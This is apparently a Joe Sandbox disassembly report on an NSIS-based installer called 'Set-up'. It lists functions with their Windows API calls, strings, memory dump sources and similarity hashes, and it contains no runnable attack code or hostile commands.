Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C

Strings

WriteINIStr: wrote [%s] %s=%s in %s, xrefs: 00402775
TeachesGoal, xrefs: 00402770
<RM>, xrefs: 00402713

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: PrivateProfileStringWritelstrcpyn
String ID: <RM>$TeachesGoal$WriteINIStr: wrote [%s] %s=%s in %s
API String ID: 247603264-1906734859
Opcode ID: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction ID: 1675f45263e21dacb3bd3d3c28f4c469aa899418fcec56767b4290250f933745
Opcode Fuzzy Hash: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction Fuzzy Hash: 05014F70D40319BADB10BFA18D859AF7A78AF09304F10403FF11A761E3D7B80A408BAD

Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004CB0B0,?), ref: 00402202

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226
ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
API String ID: 3156913733-2180253247
Opcode ID: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction ID: bbc106df3db47d5a89d2587a4e22f40687ed87c50c6518a2742e337a88eb4af1
Opcode Fuzzy Hash: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction Fuzzy Hash: E001F7B2B4021476DB2077B69C87F6B2A5CDB41764B20047BF502F20E3E5BD88009139

Function 00405E7F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405E9D
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,004037FE,004D30C0,004D70C8), ref: 00405EB8

Strings

nsa, xrefs: 00405E8C

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction ID: bbb7b3741c82bae03d84fc31e008e00914f4f4b6280f54d22115683b6c602e07
Opcode Fuzzy Hash: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction Fuzzy Hash: 39F0F635600604BBDB00CF55DD05A9FBBBDEF90310F00803BE944E7140E6B09E00C798

Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShowWindow.USER32(00000000,00000000), ref: 0040219F

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

EnableWindow.USER32(00000000,00000000), ref: 004021AA

Strings

HideWindow, xrefs: 0040218D

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Window$EnableShowlstrlenwvsprintf
String ID: HideWindow
API String ID: 1249568736-780306582
Opcode ID: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction ID: bfe0de145d0e58e27592ef60cc9cda220d4f3e6bacb950e19a0f62fa040dbd34
Opcode Fuzzy Hash: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction Fuzzy Hash: F1E09232A05111DBCB08FBB5A74A5AE76B4EA9532A721007FE143F20D0DABD8D01C62D

Function 004078C5 Relevance: 5.2, APIs: 4, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction ID: 5b61ba0e549d4a34e11b5feda41afe9ae6537485a044c30e59ebd23bda5797f4
Opcode Fuzzy Hash: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction Fuzzy Hash: BCA14771908248DBEF18CF28C8946AD3BB1FB44359F14812AFC56AB280D738E985DF85

Function 00407AC3 Relevance: 5.2, APIs: 4, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction ID: 0868455ade8710e2db62ea7c97591ecaf8a07f5330254cde648c5a00cf1b77b0
Opcode Fuzzy Hash: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction Fuzzy Hash: 30912871908248DBEF14CF18C8947A93BB1FF44359F14812AFC5AAB291D738E985DF89

Function 00407312 Relevance: 5.2, APIs: 4, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction ID: 3981f1dd08afc316d24d9ed5113be2a17ca7da729ed8f25fba603efd3ef4d826
Opcode Fuzzy Hash: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction Fuzzy Hash: 39815931908248DBEF14CF29C8446AE3BB1FF44355F10812AFC66AB291D778E985DF86

Function 00407752 Relevance: 5.2, APIs: 4, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction ID: 01891581271c5a124b16634c3a8992e7a6857e255b4271240234ec945a90a24d
Opcode Fuzzy Hash: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction Fuzzy Hash: 73713571908248DBEF18CF28C894AAD3BF1FB44355F14812AFC56AB291D738E985DF85

Function 00407854 Relevance: 5.2, APIs: 4, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction ID: 94e3b44a92ae0aa4503ed5f8848dd13d39bc4d5c5e61625994f203468061122b
Opcode Fuzzy Hash: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction Fuzzy Hash: 25713671908248DBEF18CF19C894BA93BF1FB44345F10812AFC56AA291C738E985DF86

Function 004077B2 Relevance: 5.2, APIs: 4, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction ID: 61f7b93237898aea062553d5d4b8719da8ac7eccb5076a10c91df3859b53dd49
Opcode Fuzzy Hash: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction Fuzzy Hash: 98612771908248DBEF18CF19C894BAD3BF1FB44345F14812AFC56AA291C738E985DF86

Function 00407C5F Relevance: 5.2, APIs: 4, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNELBASE(?), ref: 004073C5
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 004073CE
GlobalFree.KERNELBASE(?), ref: 0040743D
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 00407448

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Global$AllocFree
String ID:
API String ID: 3394109436-0
Opcode ID: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction ID: da36524f31269fd1e9de8fc6705d7123eeae9c681c0d19372ba3dadca10d6d3f
Opcode Fuzzy Hash: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction Fuzzy Hash: 81513871918248EBEF18CF19C894AAD3BF1FF44345F10812AFC56AA291C738E985DF85

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction ID: d71d45502f518029c3ce7990b7c8d381ac94a1bb539c673c2af025244294d997
Opcode Fuzzy Hash: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction Fuzzy Hash: 96F0F471A10220DFD7555B74DD04B273699AB80361F24463BF911F62F1E6B8DC528B4E

Function 00405E50 Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction ID: fe2e31f24f36ecb58ba6038de6e4569557e5a61990f2f31681ab57118d472e11
Opcode Fuzzy Hash: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction Fuzzy Hash: BCD09E71554202EFEF098F60DE1AF6EBBA2FB94B00F11852CB292550F0DAB25819DB15

Function 00405E30 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00406E81,?,?,?), ref: 00405E34
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E47

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction ID: a99f375bd2b1051765f890e1d94d2f722c1bb1ba0a12d38356d8610c0186b9c0
Opcode Fuzzy Hash: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction Fuzzy Hash: 84C01272404800EAC6000B34DF0881A7B62AB90330B268B39B0BAE00F0CB3488A99A18

Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033CE,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction ID: a3bc5d39330dd194e4c7332763fdc94ca13499671d705f1c19c6925397c50364
Opcode Fuzzy Hash: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction Fuzzy Hash: C8E08C32550118BFCB109EA69C40EE73B5CFB047A2F00C832BD55E5290DA30DA00EBE8

Function 004037CC Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

CreateDirectoryW.KERNELBASE(004D70C8,00000000,004D70C8,004D70C8,004D70C8,-00000002,00403A0B), ref: 004037ED

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction ID: 8ea1286759415c6f695425ed34242866ebe8a7a529327a4e56f2759b30593fc1
Opcode Fuzzy Hash: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction Fuzzy Hash: B1D0A921083C3221C562332A3D06FCF090C8F2635AB02C07BF841B61CA8B2C4B8240EE

Function 00403DAF Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction ID: 301fa2329b67e93c742f3c195cb428e9759bf169fd062939fd541a9b7e119014
Opcode Fuzzy Hash: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction Fuzzy Hash: D3C04C71650601AADA108B509D45F1677595B50B41F544439B641F50E0D674E450DA1E

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040375A,?,?,?,?,00000000,00403A47,?), ref: 00403376

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
